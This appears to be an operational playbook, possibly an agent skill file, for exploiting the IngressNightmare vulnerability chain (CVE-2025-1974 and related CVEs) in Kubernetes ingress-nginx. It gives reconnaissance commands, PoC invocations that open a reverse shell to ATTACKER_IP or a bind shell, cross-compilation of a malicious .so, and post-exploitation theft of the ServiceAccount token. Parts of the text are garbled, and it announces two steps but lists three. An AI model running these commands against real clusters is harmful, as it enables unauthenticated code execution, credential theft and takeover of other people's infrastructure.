k8s-ingress-nightmare

IngressNightmare — CVE-2025-1974

Ingress-NGINX Admission Controller Unauthorized RCE vulnerability chain (CVSSv3 9.8), allowing remote execution of arbitrary code from the Pod network without any K8s credentials.

⛔ In-depth reference (required reading)

• Vulnerability principle and exploitation details → references/exploit-details.md

---

Vulnerability Overview

IngressNightmare is a set ofvulnerability chain(CVE-2025-24514 / CVE-2025-1097 / CVE-2025-1098 / CVE-2025-1974), attackers achieve RCE through two steps:

1. Send a large request to NGINX, causing it to cache it as a temporary file (/tmp/ predictable path under )
2. Send a malicious AdmissionReviewto the Admission Webhook, injecting the ssl_engine directive to load a malicious .so
3. When the Webhook runs the nginx -t configuration check, code execution is triggered

Phase 1: Prerequisite Confirmation

1.1 Confirm the target uses ingress-nginx

# 从集群外部
nmap -sV -p 443,8443,80 TARGET_IP
curl -sk https://TARGET_IP/ -I  # 看 Server 头是否包含 nginx

# 从 Pod 内部
kubectl get pods -n ingress-nginx 2>/dev/null
kubectl get svc -n ingress-nginx 2>/dev/null
env | grep -i ingress

1.2 Locate the Admission Webhook

# Admission webhook 默认监听 8443 端口
# 从 Pod 网络内部探测
INGRESS_SVC=$(kubectl get svc -n ingress-nginx -o jsonpath='{.items[0].spec.clusterIP}' 2>/dev/null)
curl -sk https://${INGRESS_SVC}:8443/networking/v1/ingresses

# 也可以直接探测 Pod IP
kubectl get pods -n ingress-nginx -o wide 2>/dev/null

1.3 Locate the NGINX Uploader (request cache endpoint)

# NGINX 监听在 80/443，需要能向其发送大请求
# uploader 就是 ingress-nginx 的 HTTP 入口
UPLOADER="http://${INGRESS_SVC}:80"
# 或直接用 Pod IP
UPLOADER="http://POD_IP:80"

Phase 2: Exploitation

2.1 Use the ingressNightmare PoC

# 反弹 shell（最常用）
ingressnightmare -m r -r ATTACKER_IP -p 4444 -i https://INGRESS:8443 -u http://UPLOADER:80

# 绑定 shell
ingressnightmare -m b -b 9999 -i https://INGRESS:8443 -u http://UPLOADER:80

# 盲执行命令
ingressnightmare -m c -c 'id > /tmp/pwn' -i https://INGRESS:8443 -u http://UPLOADER:80

2.2 Injection Variant Selection

Injection Method	Parameter	CVE
auth-url (default)	--is-auth-url	CVE-2025-24514
auth-tls-match-cn	--is-match-cn --auth-secret-name NAME	CVE-2025-1097
mirror UID	--is-mirror-uid	CVE-2025-1098

2.3 Handling Target Architecture Mismatch

# 如果出现 "Exec format error"，目标可能是 arm64
ingressnightmare show-c > exp.c
# 用目标架构的交叉编译器编译
aarch64-linux-gnu-gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o danger.so exp.c -shared
ingressnightmare -m c -c 'id' --so ./danger.so -i https://INGRESS:8443 -u http://UPLOADER:80

Phase 3: Post-Exploitation

RCE lands inside the ingress-nginx Pod, which usually has a high-privilege ServiceAccount:

# 获取 SA Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 检查 RBAC 权限（ingress-nginx 通常有 cluster-wide 权限）
kubectl auth can-i --list

# 横向 → 参考 k8s-container-escape skill

Tool Quick Reference

Tool	Purpose	Installation / Path
ingressnightmare	CVE-2025-1974 all-in-one PoC (Go compiled, multi-platform)	Download from the project Release yourself; if the f8x CLI has already been distributed within the team, you can f8x -cloud install to PATH (internal tool, this repository does not contain its source code or installation method)
kubectl	K8s cluster management	Same as above, or install kubectl according to the official documentation
nmap	Port scanning	apt install nmap